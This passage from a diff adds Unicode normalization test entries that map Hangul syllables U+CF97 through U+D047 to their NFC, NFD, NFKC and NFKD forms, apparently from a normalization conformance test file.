+{ source: [0xCF97], NFC: [0xCF97], NFD: [0x110F, 0x116B, 0x11B2], NFKC: [0xCF97], NFKD: [0x110F, 0x116B, 0x11B2] },
+{ source: [0xCF98], NFC: [0xCF98], NFD: [0x110F, 0x116B, 0x11B3], NFKC: [0xCF98], NFKD: [0x110F, 0x116B, 0x11B3] },
+{ source: [0xCF99], NFC: [0xCF99], NFD: [0x110F, 0x116B, 0x11B4], NFKC: [0xCF99], NFKD: [0x110F, 0x116B, 0x11B4] },
+{ source: [0xCF9A], NFC: [0xCF9A], NFD: [0x110F, 0x116B, 0x11B5], NFKC: [0xCF9A], NFKD: [0x110F, 0x116B, 0x11B5] },
+{ source: [0xCF9B], NFC: [0xCF9B], NFD: [0x110F, 0x116B, 0x11B6], NFKC: [0xCF9B], NFKD: [0x110F, 0x116B, 0x11B6] },
+{ source: [0xCF9C], NFC: [0xCF9C], NFD: [0x110F, 0x116B, 0x11B7], NFKC: [0xCF9C], NFKD: [0x110F, 0x116B, 0x11B7] },
+{ source: [0xCF9D], NFC: [0xCF9D], NFD: [0x110F, 0x116B, 0x11B8], NFKC: [0xCF9D], NFKD: [0x110F, 0x116B, 0x11B8] },
+{ source: [0xCF9E], NFC: [0xCF9E], NFD: [0x110F, 0x116B, 0x11B9], NFKC: [0xCF9E], NFKD: [0x110F, 0x116B, 0x11B9] },
+{ source: [0xCF9F], NFC: [0xCF9F], NFD: [0x110F, 0x116B, 0x11BA], NFKC: [0xCF9F], NFKD: [0x110F, 0x116B, 0x11BA] },
+{ source: [0xCFA0], NFC: [0xCFA0], NFD: [0x110F, 0x116B, 0x11BB], NFKC: [0xCFA0], NFKD: [0x110F, 0x116B, 0x11BB] },
+{ source: [0xCFA1], NFC: [0xCFA1], NFD: [0x110F, 0x116B, 0x11BC], NFKC: [0xCFA1], NFKD: [0x110F, 0x116B, 0x11BC] },
+{ source: [0xCFA2], NFC: [0xCFA2], NFD: [0x110F, 0x116B, 0x11BD], NFKC: [0xCFA2], NFKD: [0x110F, 0x116B, 0x11BD] },
+{ source: [0xCFA3], NFC: [0xCFA3], NFD: [0x110F, 0x116B, 0x11BE], NFKC: [0xCFA3], NFKD: [0x110F, 0x116B, 0x11BE] },
+{ source: [0xCFA4], NFC: [0xCFA4], NFD: [0x110F, 0x116B, 0x11BF], NFKC: [0xCFA4], NFKD: [0x110F, 0x116B, 0x11BF] },
+{ source: [0xCFA5], NFC: [0xCFA5], NFD: [0x110F, 0x116B, 0x11C0], NFKC: [0xCFA5], NFKD: [0x110F, 0x116B, 0x11C0] },
+{ source: [0xCFA6], NFC: [0xCFA6], NFD: [0x110F, 0x116B, 0x11C1], NFKC: [0xCFA6], NFKD: [0x110F, 0x116B, 0x11C1] },
+{ source: [0xCFA7], NFC: [0xCFA7], NFD: [0x110F, 0x116B, 0x11C2], NFKC: [0xCFA7], NFKD: [0x110F, 0x116B, 0x11C2] },
+{ source: [0xCFA8], NFC: [0xCFA8], NFD: [0x110F, 0x116C], NFKC: [0xCFA8], NFKD: [0x110F, 0x116C] },
+{ source: [0xCFA9], NFC: [0xCFA9], NFD: [0x110F, 0x116C, 0x11A8], NFKC: [0xCFA9], NFKD: [0x110F, 0x116C, 0x11A8] },
+{ source: [0xCFAA], NFC: [0xCFAA], NFD: [0x110F, 0x116C, 0x11A9], NFKC: [0xCFAA], NFKD: [0x110F, 0x116C, 0x11A9] },
+{ source: [0xCFAB], NFC: [0xCFAB], NFD: [0x110F, 0x116C, 0x11AA], NFKC: [0xCFAB], NFKD: [0x110F, 0x116C, 0x11AA] },
+{ source: [0xCFAC], NFC: [0xCFAC], NFD: [0x110F, 0x116C, 0x11AB], NFKC: [0xCFAC], NFKD: [0x110F, 0x116C, 0x11AB] },
+{ source: [0xCFAD], NFC: [0xCFAD], NFD: [0x110F, 0x116C, 0x11AC], NFKC: [0xCFAD], NFKD: [0x110F, 0x116C, 0x11AC] },
+{ source: [0xCFAE], NFC: [0xCFAE], NFD: [0x110F, 0x116C, 0x11AD], NFKC: [0xCFAE], NFKD: [0x110F, 0x116C, 0x11AD] },
+{ source: [0xCFAF], NFC: [0xCFAF], NFD: [0x110F, 0x116C, 0x11AE], NFKC: [0xCFAF], NFKD: [0x110F, 0x116C, 0x11AE] },
+{ source: [0xCFB0], NFC: [0xCFB0], NFD: [0x110F, 0x116C, 0x11AF], NFKC: [0xCFB0], NFKD: [0x110F, 0x116C, 0x11AF] },
+{ source: [0xCFB1], NFC: [0xCFB1], NFD: [0x110F, 0x116C, 0x11B0], NFKC: [0xCFB1], NFKD: [0x110F, 0x116C, 0x11B0] },
+{ source: [0xCFB2], NFC: [0xCFB2], NFD: [0x110F, 0x116C, 0x11B1], NFKC: [0xCFB2], NFKD: [0x110F, 0x116C, 0x11B1] },
+{ source: [0xCFB3], NFC: [0xCFB3], NFD: [0x110F, 0x116C, 0x11B2], NFKC: [0xCFB3], NFKD: [0x110F, 0x116C, 0x11B2] },
+{ source: [0xCFB4], NFC: [0xCFB4], NFD: [0x110F, 0x116C, 0x11B3], NFKC: [0xCFB4], NFKD: [0x110F, 0x116C, 0x11B3] },
+{ source: [0xCFB5], NFC: [0xCFB5], NFD: [0x110F, 0x116C, 0x11B4], NFKC: [0xCFB5], NFKD: [0x110F, 0x116C, 0x11B4] },
+{ source: [0xCFB6], NFC: [0xCFB6], NFD: [0x110F, 0x116C, 0x11B5], NFKC: [0xCFB6], NFKD: [0x110F, 0x116C, 0x11B5] },
+{ source: [0xCFB7], NFC: [0xCFB7], NFD: [0x110F, 0x116C, 0x11B6], NFKC: [0xCFB7], NFKD: [0x110F, 0x116C, 0x11B6] },
+{ source: [0xCFB8], NFC: [0xCFB8], NFD: [0x110F, 0x116C, 0x11B7], NFKC: [0xCFB8], NFKD: [0x110F, 0x116C, 0x11B7] },
+{ source: [0xCFB9], NFC: [0xCFB9], NFD: [0x110F, 0x116C, 0x11B8], NFKC: [0xCFB9], NFKD: [0x110F, 0x116C, 0x11B8] },
+{ source: [0xCFBA], NFC: [0xCFBA], NFD: [0x110F, 0x116C, 0x11B9], NFKC: [0xCFBA], NFKD: [0x110F, 0x116C, 0x11B9] },
+{ source: [0xCFBB], NFC: [0xCFBB], NFD: [0x110F, 0x116C, 0x11BA], NFKC: [0xCFBB], NFKD: [0x110F, 0x116C, 0x11BA] },
+{ source: [0xCFBC], NFC: [0xCFBC], NFD: [0x110F, 0x116C, 0x11BB], NFKC: [0xCFBC], NFKD: [0x110F, 0x116C, 0x11BB] },
+{ source: [0xCFBD], NFC: [0xCFBD], NFD: [0x110F, 0x116C, 0x11BC], NFKC: [0xCFBD], NFKD: [0x110F, 0x116C, 0x11BC] },
+{ source: [0xCFBE], NFC: [0xCFBE], NFD: [0x110F, 0x116C, 0x11BD], NFKC: [0xCFBE], NFKD: [0x110F, 0x116C, 0x11BD] },
+{ source: [0xCFBF], NFC: [0xCFBF], NFD: [0x110F, 0x116C, 0x11BE], NFKC: [0xCFBF], NFKD: [0x110F, 0x116C, 0x11BE] },
+{ source: [0xCFC0], NFC: [0xCFC0], NFD: [0x110F, 0x116C, 0x11BF], NFKC: [0xCFC0], NFKD: [0x110F, 0x116C, 0x11BF] },
+{ source: [0xCFC1], NFC: [0xCFC1], NFD: [0x110F, 0x116C, 0x11C0], NFKC: [0xCFC1], NFKD: [0x110F, 0x116C, 0x11C0] },
+{ source: [0xCFC2], NFC: [0xCFC2], NFD: [0x110F, 0x116C, 0x11C1], NFKC: [0xCFC2], NFKD: [0x110F, 0x116C, 0x11C1] },
+{ source: [0xCFC3], NFC: [0xCFC3], NFD: [0x110F, 0x116C, 0x11C2], NFKC: [0xCFC3], NFKD: [0x110F, 0x116C, 0x11C2] },
+{ source: [0xCFC4], NFC: [0xCFC4], NFD: [0x110F, 0x116D], NFKC: [0xCFC4], NFKD: [0x110F, 0x116D] },
+{ source: [0xCFC5], NFC: [0xCFC5], NFD: [0x110F, 0x116D, 0x11A8], NFKC: [0xCFC5], NFKD: [0x110F, 0x116D, 0x11A8] },
+{ source: [0xCFC6], NFC: [0xCFC6], NFD: [0x110F, 0x116D, 0x11A9], NFKC: [0xCFC6], NFKD: [0x110F, 0x116D, 0x11A9] },
+{ source: [0xCFC7], NFC: [0xCFC7], NFD: [0x110F, 0x116D, 0x11AA], NFKC: [0xCFC7], NFKD: [0x110F, 0x116D, 0x11AA] },
+{ source: [0xCFC8], NFC: [0xCFC8], NFD: [0x110F, 0x116D, 0x11AB], NFKC: [0xCFC8], NFKD: [0x110F, 0x116D, 0x11AB] },
+{ source: [0xCFC9], NFC: [0xCFC9], NFD: [0x110F, 0x116D, 0x11AC], NFKC: [0xCFC9], NFKD: [0x110F, 0x116D, 0x11AC] },
+{ source: [0xCFCA], NFC: [0xCFCA], NFD: [0x110F, 0x116D, 0x11AD], NFKC: [0xCFCA], NFKD: [0x110F, 0x116D, 0x11AD] },
+{ source: [0xCFCB], NFC: [0xCFCB], NFD: [0x110F, 0x116D, 0x11AE], NFKC: [0xCFCB], NFKD: [0x110F, 0x116D, 0x11AE] },
+{ source: [0xCFCC], NFC: [0xCFCC], NFD: [0x110F, 0x116D, 0x11AF], NFKC: [0xCFCC], NFKD: [0x110F, 0x116D, 0x11AF] },
+{ source: [0xCFCD], NFC: [0xCFCD], NFD: [0x110F, 0x116D, 0x11B0], NFKC: [0xCFCD], NFKD: [0x110F, 0x116D, 0x11B0] },
+{ source: [0xCFCE], NFC: [0xCFCE], NFD: [0x110F, 0x116D, 0x11B1], NFKC: [0xCFCE], NFKD: [0x110F, 0x116D, 0x11B1] },
+{ source: [0xCFCF], NFC: [0xCFCF], NFD: [0x110F, 0x116D, 0x11B2], NFKC: [0xCFCF], NFKD: [0x110F, 0x116D, 0x11B2] },
+{ source: [0xCFD0], NFC: [0xCFD0], NFD: [0x110F, 0x116D, 0x11B3], NFKC: [0xCFD0], NFKD: [0x110F, 0x116D, 0x11B3] },
+{ source: [0xCFD1], NFC: [0xCFD1], NFD: [0x110F, 0x116D, 0x11B4], NFKC: [0xCFD1], NFKD: [0x110F, 0x116D, 0x11B4] },
+{ source: [0xCFD2], NFC: [0xCFD2], NFD: [0x110F, 0x116D, 0x11B5], NFKC: [0xCFD2], NFKD: [0x110F, 0x116D, 0x11B5] },
+{ source: [0xCFD3], NFC: [0xCFD3], NFD: [0x110F, 0x116D, 0x11B6], NFKC: [0xCFD3], NFKD: [0x110F, 0x116D, 0x11B6] },
+{ source: [0xCFD4], NFC: [0xCFD4], NFD: [0x110F, 0x116D, 0x11B7], NFKC: [0xCFD4], NFKD: [0x110F, 0x116D, 0x11B7] },
+{ source: [0xCFD5], NFC: [0xCFD5], NFD: [0x110F, 0x116D, 0x11B8], NFKC: [0xCFD5], NFKD: [0x110F, 0x116D, 0x11B8] },
+{ source: [0xCFD6], NFC: [0xCFD6], NFD: [0x110F, 0x116D, 0x11B9], NFKC: [0xCFD6], NFKD: [0x110F, 0x116D, 0x11B9] },
+{ source: [0xCFD7], NFC: [0xCFD7], NFD: [0x110F, 0x116D, 0x11BA], NFKC: [0xCFD7], NFKD: [0x110F, 0x116D, 0x11BA] },
+{ source: [0xCFD8], NFC: [0xCFD8], NFD: [0x110F, 0x116D, 0x11BB], NFKC: [0xCFD8], NFKD: [0x110F, 0x116D, 0x11BB] },
+{ source: [0xCFD9], NFC: [0xCFD9], NFD: [0x110F, 0x116D, 0x11BC], NFKC: [0xCFD9], NFKD: [0x110F, 0x116D, 0x11BC] },
+{ source: [0xCFDA], NFC: [0xCFDA], NFD: [0x110F, 0x116D, 0x11BD], NFKC: [0xCFDA], NFKD: [0x110F, 0x116D, 0x11BD] },
+{ source: [0xCFDB], NFC: [0xCFDB], NFD: [0x110F, 0x116D, 0x11BE], NFKC: [0xCFDB], NFKD: [0x110F, 0x116D, 0x11BE] },
+{ source: [0xCFDC], NFC: [0xCFDC], NFD: [0x110F, 0x116D, 0x11BF], NFKC: [0xCFDC], NFKD: [0x110F, 0x116D, 0x11BF] },
+{ source: [0xCFDD], NFC: [0xCFDD], NFD: [0x110F, 0x116D, 0x11C0], NFKC: [0xCFDD], NFKD: [0x110F, 0x116D, 0x11C0] },
+{ source: [0xCFDE], NFC: [0xCFDE], NFD: [0x110F, 0x116D, 0x11C1], NFKC: [0xCFDE], NFKD: [0x110F, 0x116D, 0x11C1] },
+{ source: [0xCFDF], NFC: [0xCFDF], NFD: [0x110F, 0x116D, 0x11C2], NFKC: [0xCFDF], NFKD: [0x110F, 0x116D, 0x11C2] },
+{ source: [0xCFE0], NFC: [0xCFE0], NFD: [0x110F, 0x116E], NFKC: [0xCFE0], NFKD: [0x110F, 0x116E] },
+{ source: [0xCFE1], NFC: [0xCFE1], NFD: [0x110F, 0x116E, 0x11A8], NFKC: [0xCFE1], NFKD: [0x110F, 0x116E, 0x11A8] },
+{ source: [0xCFE2], NFC: [0xCFE2], NFD: [0x110F, 0x116E, 0x11A9], NFKC: [0xCFE2], NFKD: [0x110F, 0x116E, 0x11A9] },
+{ source: [0xCFE3], NFC: [0xCFE3], NFD: [0x110F, 0x116E, 0x11AA], NFKC: [0xCFE3], NFKD: [0x110F, 0x116E, 0x11AA] },
+{ source: [0xCFE4], NFC: [0xCFE4], NFD: [0x110F, 0x116E, 0x11AB], NFKC: [0xCFE4], NFKD: [0x110F, 0x116E, 0x11AB] },
+{ source: [0xCFE5], NFC: [0xCFE5], NFD: [0x110F, 0x116E, 0x11AC], NFKC: [0xCFE5], NFKD: [0x110F, 0x116E, 0x11AC] },
+{ source: [0xCFE6], NFC: [0xCFE6], NFD: [0x110F, 0x116E, 0x11AD], NFKC: [0xCFE6], NFKD: [0x110F, 0x116E, 0x11AD] },
+{ source: [0xCFE7], NFC: [0xCFE7], NFD: [0x110F, 0x116E, 0x11AE], NFKC: [0xCFE7], NFKD: [0x110F, 0x116E, 0x11AE] },
+{ source: [0xCFE8], NFC: [0xCFE8], NFD: [0x110F, 0x116E, 0x11AF], NFKC: [0xCFE8], NFKD: [0x110F, 0x116E, 0x11AF] },
+{ source: [0xCFE9], NFC: [0xCFE9], NFD: [0x110F, 0x116E, 0x11B0], NFKC: [0xCFE9], NFKD: [0x110F, 0x116E, 0x11B0] },
+{ source: [0xCFEA], NFC: [0xCFEA], NFD: [0x110F, 0x116E, 0x11B1], NFKC: [0xCFEA], NFKD: [0x110F, 0x116E, 0x11B1] },
+{ source: [0xCFEB], NFC: [0xCFEB], NFD: [0x110F, 0x116E, 0x11B2], NFKC: [0xCFEB], NFKD: [0x110F, 0x116E, 0x11B2] },
+{ source: [0xCFEC], NFC: [0xCFEC], NFD: [0x110F, 0x116E, 0x11B3], NFKC: [0xCFEC], NFKD: [0x110F, 0x116E, 0x11B3] },
+{ source: [0xCFED], NFC: [0xCFED], NFD: [0x110F, 0x116E, 0x11B4], NFKC: [0xCFED], NFKD: [0x110F, 0x116E, 0x11B4] },
+{ source: [0xCFEE], NFC: [0xCFEE], NFD: [0x110F, 0x116E, 0x11B5], NFKC: [0xCFEE], NFKD: [0x110F, 0x116E, 0x11B5] },
+{ source: [0xCFEF], NFC: [0xCFEF], NFD: [0x110F, 0x116E, 0x11B6], NFKC: [0xCFEF], NFKD: [0x110F, 0x116E, 0x11B6] },
+{ source: [0xCFF0], NFC: [0xCFF0], NFD: [0x110F, 0x116E, 0x11B7], NFKC: [0xCFF0], NFKD: [0x110F, 0x116E, 0x11B7] },
+{ source: [0xCFF1], NFC: [0xCFF1], NFD: [0x110F, 0x116E, 0x11B8], NFKC: [0xCFF1], NFKD: [0x110F, 0x116E, 0x11B8] },
+{ source: [0xCFF2], NFC: [0xCFF2], NFD: [0x110F, 0x116E, 0x11B9], NFKC: [0xCFF2], NFKD: [0x110F, 0x116E, 0x11B9] },
+{ source: [0xCFF3], NFC: [0xCFF3], NFD: [0x110F, 0x116E, 0x11BA], NFKC: [0xCFF3], NFKD: [0x110F, 0x116E, 0x11BA] },
+{ source: [0xCFF4], NFC: [0xCFF4], NFD: [0x110F, 0x116E, 0x11BB], NFKC: [0xCFF4], NFKD: [0x110F, 0x116E, 0x11BB] },
+{ source: [0xCFF5], NFC: [0xCFF5], NFD: [0x110F, 0x116E, 0x11BC], NFKC: [0xCFF5], NFKD: [0x110F, 0x116E, 0x11BC] },
+{ source: [0xCFF6], NFC: [0xCFF6], NFD: [0x110F, 0x116E, 0x11BD], NFKC: [0xCFF6], NFKD: [0x110F, 0x116E, 0x11BD] },
+{ source: [0xCFF7], NFC: [0xCFF7], NFD: [0x110F, 0x116E, 0x11BE], NFKC: [0xCFF7], NFKD: [0x110F, 0x116E, 0x11BE] },
+{ source: [0xCFF8], NFC: [0xCFF8], NFD: [0x110F, 0x116E, 0x11BF], NFKC: [0xCFF8], NFKD: [0x110F, 0x116E, 0x11BF] },
+{ source: [0xCFF9], NFC: [0xCFF9], NFD: [0x110F, 0x116E, 0x11C0], NFKC: [0xCFF9], NFKD: [0x110F, 0x116E, 0x11C0] },
+{ source: [0xCFFA], NFC: [0xCFFA], NFD: [0x110F, 0x116E, 0x11C1], NFKC: [0xCFFA], NFKD: [0x110F, 0x116E, 0x11C1] },
+{ source: [0xCFFB], NFC: [0xCFFB], NFD: [0x110F, 0x116E, 0x11C2], NFKC: [0xCFFB], NFKD: [0x110F, 0x116E, 0x11C2] },
+{ source: [0xCFFC], NFC: [0xCFFC], NFD: [0x110F, 0x116F], NFKC: [0xCFFC], NFKD: [0x110F, 0x116F] },
+{ source: [0xCFFD], NFC: [0xCFFD], NFD: [0x110F, 0x116F, 0x11A8], NFKC: [0xCFFD], NFKD: [0x110F, 0x116F, 0x11A8] },
+{ source: [0xCFFE], NFC: [0xCFFE], NFD: [0x110F, 0x116F, 0x11A9], NFKC: [0xCFFE], NFKD: [0x110F, 0x116F, 0x11A9] },
+{ source: [0xCFFF], NFC: [0xCFFF], NFD: [0x110F, 0x116F, 0x11AA], NFKC: [0xCFFF], NFKD: [0x110F, 0x116F, 0x11AA] },
+{ source: [0xD000], NFC: [0xD000], NFD: [0x110F, 0x116F, 0x11AB], NFKC: [0xD000], NFKD: [0x110F, 0x116F, 0x11AB] },
+{ source: [0xD001], NFC: [0xD001], NFD: [0x110F, 0x116F, 0x11AC], NFKC: [0xD001], NFKD: [0x110F, 0x116F, 0x11AC] },
+{ source: [0xD002], NFC: [0xD002], NFD: [0x110F, 0x116F, 0x11AD], NFKC: [0xD002], NFKD: [0x110F, 0x116F, 0x11AD] },
+{ source: [0xD003], NFC: [0xD003], NFD: [0x110F, 0x116F, 0x11AE], NFKC: [0xD003], NFKD: [0x110F, 0x116F, 0x11AE] },
+{ source: [0xD004], NFC: [0xD004], NFD: [0x110F, 0x116F, 0x11AF], NFKC: [0xD004], NFKD: [0x110F, 0x116F, 0x11AF] },
+{ source: [0xD005], NFC: [0xD005], NFD: [0x110F, 0x116F, 0x11B0], NFKC: [0xD005], NFKD: [0x110F, 0x116F, 0x11B0] },
+{ source: [0xD006], NFC: [0xD006], NFD: [0x110F, 0x116F, 0x11B1], NFKC: [0xD006], NFKD: [0x110F, 0x116F, 0x11B1] },
+{ source: [0xD007], NFC: [0xD007], NFD: [0x110F, 0x116F, 0x11B2], NFKC: [0xD007], NFKD: [0x110F, 0x116F, 0x11B2] },
+{ source: [0xD008], NFC: [0xD008], NFD: [0x110F, 0x116F, 0x11B3], NFKC: [0xD008], NFKD: [0x110F, 0x116F, 0x11B3] },
+{ source: [0xD009], NFC: [0xD009], NFD: [0x110F, 0x116F, 0x11B4], NFKC: [0xD009], NFKD: [0x110F, 0x116F, 0x11B4] },
+{ source: [0xD00A], NFC: [0xD00A], NFD: [0x110F, 0x116F, 0x11B5], NFKC: [0xD00A], NFKD: [0x110F, 0x116F, 0x11B5] },
+{ source: [0xD00B], NFC: [0xD00B], NFD: [0x110F, 0x116F, 0x11B6], NFKC: [0xD00B], NFKD: [0x110F, 0x116F, 0x11B6] },
+{ source: [0xD00C], NFC: [0xD00C], NFD: [0x110F, 0x116F, 0x11B7], NFKC: [0xD00C], NFKD: [0x110F, 0x116F, 0x11B7] },
+{ source: [0xD00D], NFC: [0xD00D], NFD: [0x110F, 0x116F, 0x11B8], NFKC: [0xD00D], NFKD: [0x110F, 0x116F, 0x11B8] },
+{ source: [0xD00E], NFC: [0xD00E], NFD: [0x110F, 0x116F, 0x11B9], NFKC: [0xD00E], NFKD: [0x110F, 0x116F, 0x11B9] },
+{ source: [0xD00F], NFC: [0xD00F], NFD: [0x110F, 0x116F, 0x11BA], NFKC: [0xD00F], NFKD: [0x110F, 0x116F, 0x11BA] },
+{ source: [0xD010], NFC: [0xD010], NFD: [0x110F, 0x116F, 0x11BB], NFKC: [0xD010], NFKD: [0x110F, 0x116F, 0x11BB] },
+{ source: [0xD011], NFC: [0xD011], NFD: [0x110F, 0x116F, 0x11BC], NFKC: [0xD011], NFKD: [0x110F, 0x116F, 0x11BC] },
+{ source: [0xD012], NFC: [0xD012], NFD: [0x110F, 0x116F, 0x11BD], NFKC: [0xD012], NFKD: [0x110F, 0x116F, 0x11BD] },
+{ source: [0xD013], NFC: [0xD013], NFD: [0x110F, 0x116F, 0x11BE], NFKC: [0xD013], NFKD: [0x110F, 0x116F, 0x11BE] },
+{ source: [0xD014], NFC: [0xD014], NFD: [0x110F, 0x116F, 0x11BF], NFKC: [0xD014], NFKD: [0x110F, 0x116F, 0x11BF] },
+{ source: [0xD015], NFC: [0xD015], NFD: [0x110F, 0x116F, 0x11C0], NFKC: [0xD015], NFKD: [0x110F, 0x116F, 0x11C0] },
+{ source: [0xD016], NFC: [0xD016], NFD: [0x110F, 0x116F, 0x11C1], NFKC: [0xD016], NFKD: [0x110F, 0x116F, 0x11C1] },
+{ source: [0xD017], NFC: [0xD017], NFD: [0x110F, 0x116F, 0x11C2], NFKC: [0xD017], NFKD: [0x110F, 0x116F, 0x11C2] },
+{ source: [0xD018], NFC: [0xD018], NFD: [0x110F, 0x1170], NFKC: [0xD018], NFKD: [0x110F, 0x1170] },
+{ source: [0xD019], NFC: [0xD019], NFD: [0x110F, 0x1170, 0x11A8], NFKC: [0xD019], NFKD: [0x110F, 0x1170, 0x11A8] },
+{ source: [0xD01A], NFC: [0xD01A], NFD: [0x110F, 0x1170, 0x11A9], NFKC: [0xD01A], NFKD: [0x110F, 0x1170, 0x11A9] },
+{ source: [0xD01B], NFC: [0xD01B], NFD: [0x110F, 0x1170, 0x11AA], NFKC: [0xD01B], NFKD: [0x110F, 0x1170, 0x11AA] },
+{ source: [0xD01C], NFC: [0xD01C], NFD: [0x110F, 0x1170, 0x11AB], NFKC: [0xD01C], NFKD: [0x110F, 0x1170, 0x11AB] },
+{ source: [0xD01D], NFC: [0xD01D], NFD: [0x110F, 0x1170, 0x11AC], NFKC: [0xD01D], NFKD: [0x110F, 0x1170, 0x11AC] },
+{ source: [0xD01E], NFC: [0xD01E], NFD: [0x110F, 0x1170, 0x11AD], NFKC: [0xD01E], NFKD: [0x110F, 0x1170, 0x11AD] },
+{ source: [0xD01F], NFC: [0xD01F], NFD: [0x110F, 0x1170, 0x11AE], NFKC: [0xD01F], NFKD: [0x110F, 0x1170, 0x11AE] },
+{ source: [0xD020], NFC: [0xD020], NFD: [0x110F, 0x1170, 0x11AF], NFKC: [0xD020], NFKD: [0x110F, 0x1170, 0x11AF] },
+{ source: [0xD021], NFC: [0xD021], NFD: [0x110F, 0x1170, 0x11B0], NFKC: [0xD021], NFKD: [0x110F, 0x1170, 0x11B0] },
+{ source: [0xD022], NFC: [0xD022], NFD: [0x110F, 0x1170, 0x11B1], NFKC: [0xD022], NFKD: [0x110F, 0x1170, 0x11B1] },
+{ source: [0xD023], NFC: [0xD023], NFD: [0x110F, 0x1170, 0x11B2], NFKC: [0xD023], NFKD: [0x110F, 0x1170, 0x11B2] },
+{ source: [0xD024], NFC: [0xD024], NFD: [0x110F, 0x1170, 0x11B3], NFKC: [0xD024], NFKD: [0x110F, 0x1170, 0x11B3] },
+{ source: [0xD025], NFC: [0xD025], NFD: [0x110F, 0x1170, 0x11B4], NFKC: [0xD025], NFKD: [0x110F, 0x1170, 0x11B4] },
+{ source: [0xD026], NFC: [0xD026], NFD: [0x110F, 0x1170, 0x11B5], NFKC: [0xD026], NFKD: [0x110F, 0x1170, 0x11B5] },
+{ source: [0xD027], NFC: [0xD027], NFD: [0x110F, 0x1170, 0x11B6], NFKC: [0xD027], NFKD: [0x110F, 0x1170, 0x11B6] },
+{ source: [0xD028], NFC: [0xD028], NFD: [0x110F, 0x1170, 0x11B7], NFKC: [0xD028], NFKD: [0x110F, 0x1170, 0x11B7] },
+{ source: [0xD029], NFC: [0xD029], NFD: [0x110F, 0x1170, 0x11B8], NFKC: [0xD029], NFKD: [0x110F, 0x1170, 0x11B8] },
+{ source: [0xD02A], NFC: [0xD02A], NFD: [0x110F, 0x1170, 0x11B9], NFKC: [0xD02A], NFKD: [0x110F, 0x1170, 0x11B9] },
+{ source: [0xD02B], NFC: [0xD02B], NFD: [0x110F, 0x1170, 0x11BA], NFKC: [0xD02B], NFKD: [0x110F, 0x1170, 0x11BA] },
+{ source: [0xD02C], NFC: [0xD02C], NFD: [0x110F, 0x1170, 0x11BB], NFKC: [0xD02C], NFKD: [0x110F, 0x1170, 0x11BB] },
+{ source: [0xD02D], NFC: [0xD02D], NFD: [0x110F, 0x1170, 0x11BC], NFKC: [0xD02D], NFKD: [0x110F, 0x1170, 0x11BC] },
+{ source: [0xD02E], NFC: [0xD02E], NFD: [0x110F, 0x1170, 0x11BD], NFKC: [0xD02E], NFKD: [0x110F, 0x1170, 0x11BD] },
+{ source: [0xD02F], NFC: [0xD02F], NFD: [0x110F, 0x1170, 0x11BE], NFKC: [0xD02F], NFKD: [0x110F, 0x1170, 0x11BE] },
+{ source: [0xD030], NFC: [0xD030], NFD: [0x110F, 0x1170, 0x11BF], NFKC: [0xD030], NFKD: [0x110F, 0x1170, 0x11BF] },
+{ source: [0xD031], NFC: [0xD031], NFD: [0x110F, 0x1170, 0x11C0], NFKC: [0xD031], NFKD: [0x110F, 0x1170, 0x11C0] },
+{ source: [0xD032], NFC: [0xD032], NFD: [0x110F, 0x1170, 0x11C1], NFKC: [0xD032], NFKD: [0x110F, 0x1170, 0x11C1] },
+{ source: [0xD033], NFC: [0xD033], NFD: [0x110F, 0x1170, 0x11C2], NFKC: [0xD033], NFKD: [0x110F, 0x1170, 0x11C2] },
+{ source: [0xD034], NFC: [0xD034], NFD: [0x110F, 0x1171], NFKC: [0xD034], NFKD: [0x110F, 0x1171] },
+{ source: [0xD035], NFC: [0xD035], NFD: [0x110F, 0x1171, 0x11A8], NFKC: [0xD035], NFKD: [0x110F, 0x1171, 0x11A8] },
+{ source: [0xD036], NFC: [0xD036], NFD: [0x110F, 0x1171, 0x11A9], NFKC: [0xD036], NFKD: [0x110F, 0x1171, 0x11A9] },
+{ source: [0xD037], NFC: [0xD037], NFD: [0x110F, 0x1171, 0x11AA], NFKC: [0xD037], NFKD: [0x110F, 0x1171, 0x11AA] },
+{ source: [0xD038], NFC: [0xD038], NFD: [0x110F, 0x1171, 0x11AB], NFKC: [0xD038], NFKD: [0x110F, 0x1171, 0x11AB] },
+{ source: [0xD039], NFC: [0xD039], NFD: [0x110F, 0x1171, 0x11AC], NFKC: [0xD039], NFKD: [0x110F, 0x1171, 0x11AC] },
+{ source: [0xD03A], NFC: [0xD03A], NFD: [0x110F, 0x1171, 0x11AD], NFKC: [0xD03A], NFKD: [0x110F, 0x1171, 0x11AD] },
+{ source: [0xD03B], NFC: [0xD03B], NFD: [0x110F, 0x1171, 0x11AE], NFKC: [0xD03B], NFKD: [0x110F, 0x1171, 0x11AE] },
+{ source: [0xD03C], NFC: [0xD03C], NFD: [0x110F, 0x1171, 0x11AF], NFKC: [0xD03C], NFKD: [0x110F, 0x1171, 0x11AF] },
+{ source: [0xD03D], NFC: [0xD03D], NFD: [0x110F, 0x1171, 0x11B0], NFKC: [0xD03D], NFKD: [0x110F, 0x1171, 0x11B0] },
+{ source: [0xD03E], NFC: [0xD03E], NFD: [0x110F, 0x1171, 0x11B1], NFKC: [0xD03E], NFKD: [0x110F, 0x1171, 0x11B1] },
+{ source: [0xD03F], NFC: [0xD03F], NFD: [0x110F, 0x1171, 0x11B2], NFKC: [0xD03F], NFKD: [0x110F, 0x1171, 0x11B2] },
+{ source: [0xD040], NFC: [0xD040], NFD: [0x110F, 0x1171, 0x11B3], NFKC: [0xD040], NFKD: [0x110F, 0x1171, 0x11B3] },
+{ source: [0xD041], NFC: [0xD041], NFD: [0x110F, 0x1171, 0x11B4], NFKC: [0xD041], NFKD: [0x110F, 0x1171, 0x11B4] },
+{ source: [0xD042], NFC: [0xD042], NFD: [0x110F, 0x1171, 0x11B5], NFKC: [0xD042], NFKD: [0x110F, 0x1171, 0x11B5] },
+{ source: [0xD043], NFC: [0xD043], NFD: [0x110F, 0x1171, 0x11B6], NFKC: [0xD043], NFKD: [0x110F, 0x1171, 0x11B6] },
+{ source: [0xD044], NFC: [0xD044], NFD: [0x110F, 0x1171, 0x11B7], NFKC: [0xD044], NFKD: [0x110F, 0x1171, 0x11B7] },
+{ source: [0xD045], NFC: [0xD045], NFD: [0x110F, 0x1171, 0x11B8], NFKC: [0xD045], NFKD: [0x110F, 0x1171, 0x11B8] },
+{ source: [0xD046], NFC: [0xD046], NFD: [0x110F, 0x1171, 0x11B9], NFKC: [0xD046], NFKD: [0x110F, 0x1171, 0x11B9] },
+{ source: [0xD047], NFC: [0xD047], NFD: [0x110F, 0x1171, 0x11BA], NFKC: [0xD047], NFKD: [0x110F, 0x1171, 0x11BA] },
